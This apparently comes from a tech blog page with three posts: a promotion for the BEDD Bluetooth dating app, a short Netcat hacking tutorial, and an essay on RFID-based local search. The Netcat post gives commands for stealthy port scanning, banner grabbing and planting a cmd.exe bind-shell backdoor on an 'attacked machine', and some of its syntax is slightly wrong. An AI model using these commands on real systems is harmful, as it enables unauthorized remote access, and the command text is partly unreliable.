Are you a lonely soul? Wanna end it up? Then don't forget to read this!

Singapore's lonely hearts are romancing the phone, looking for love with a Bluetooth dating service.

Software company BEDD has launched a mobile-phone matchmaking service, also called BEDD. Subscribers simply download the software to their wireless-Bluetooth phones, key in some personal details, such as who they are and the kind of person they'd like to meet. And when a potential partner is in the vicinity the phone alerts them.

The service can seek out other users within a 20-metre range. It ranks them on a scale of one to five in terms of compatibility. After viewing the profile, the user must decide whether to take the next step--usually sending a text message.

If you have a bluetooth enabled phone and don't want to miss your love this time round, just download BEDD software and install it in your phone. It costs S$0.98 ($0.571) for 30 days of unlimited use. Hooray!!! You now can rock.

You can get BEDD software at http://www.bedd.com/howto.html.

Want to Port Scan, Hack and Obtain Remote Access to a Shell?

Netcat makes and accepts TCP and UDP connections. It writes and reads data over those connections until they are closed. It provides a basic TCP/IP networking subsystem that allows users to interact manually or via script with network applications and services on the application layer. Netcat is one of the most popular hacking tools.

The basic command line for Netcat is nc [options] host ports, where host is the hostname or IP address to target and ports in either a single port, a port range (specified “m-n”), or individual ports separated by spaces. For command-line options, type in nc –help in a DOS box.

Stealthy Port Scanning Command
nc –v –z (IP Address) 20-80
You can also include –r option to randomize the order in which Netcat scans those ports will also help the scan look less like a port scan

Getting More information from open port
nc –v 80 (IP Address) GET / HTTP
It will give you the details information of web server in the target machine.

Obtaining Remote Access to a Shell
By running Netcat from a DOS prompt on Windows, anyone telnetting to a specified port on that box from a remote computer would get a DOS shell without even having to login in. It involves two steps to attack to the target machine.

(1) Create a backdoor in an attacked machine
nc –p 4455 –l –e cmd.exe
(2) Telnet to a backdoor
telnet “attacked machine IP” 4455

You can download Netcat at http://netcat.sourceforge.net/

Note - Must Disable Your Window Firewall.

Will RFID Replace Google in Consumer's Search for Local Good and Services?

Today, if a user types in Gucci bag on Google will have 2,720,000 results while Yahoo will have 13,400,000 results. The problem is consumers are lost in a sea of results and given no real useful information such as availability and where it's located nearest to them.

Businesses, and in particular car dealers, have experienced frustration with the current marketing method and have expressed a desire to reduce or eliminate this Cost Per Click (CPC) marketing expense that only serve to enrich search giants like Google, Yahoo and MSN to name a few. The current search model brings nominal Return On Investment (ROI) to dealers and businesses as a result of the competitive nature of CPC.

With RFID enabled search, it will allow consumers and businesses to rapidly search within proximity of their actual location for items of interest without separately searching multiple search databases.

In the future, the success of business trading cosumers' good and services will be determined by the fact that the availability of RFID enabled search in their business to consumers.
